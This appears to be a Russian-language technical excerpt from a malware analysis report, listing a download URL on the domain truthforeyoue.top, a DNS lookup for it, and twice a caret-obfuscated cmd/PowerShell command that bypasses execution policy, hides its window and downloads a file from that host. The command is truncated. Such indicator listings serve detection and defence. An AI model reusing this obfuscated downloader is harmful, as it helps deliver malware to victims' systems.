Техническая информация
- http://truthforeyoue.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PO^W^ER^SHE^lL^.EXe -e^Xec^UtioNp^olI^c^Y^ ^bY^paSs^ -^NopR^o^F^iLE -WInDO^w^S^tyLE h^I^D^DeN (^nEW-^O^b^JeC^t Sy^St^Em.N^et.^web^C^lI^ENT^)^.Do^wn^L^o^A^dF^I^l^e(^'http://tru...
- DNS ASK tr####oreyoue.top
- '<SYSTEM32>\cmd.exe' /C "PO^W^ER^SHE^lL^.EXe -e^Xec^UtioNp^olI^c^Y^ ^bY^paSs^ -^NopR^o^F^iLE -WInDO^w^S^tyLE h^I^D^DeN (^nEW-^O^b^JeC^t Sy^St^Em.N^et.^web^C^lI^ENT^)^.Do^wn^L^o^A^dF^I^l^e(^'http://tru...' (со скрытым окном)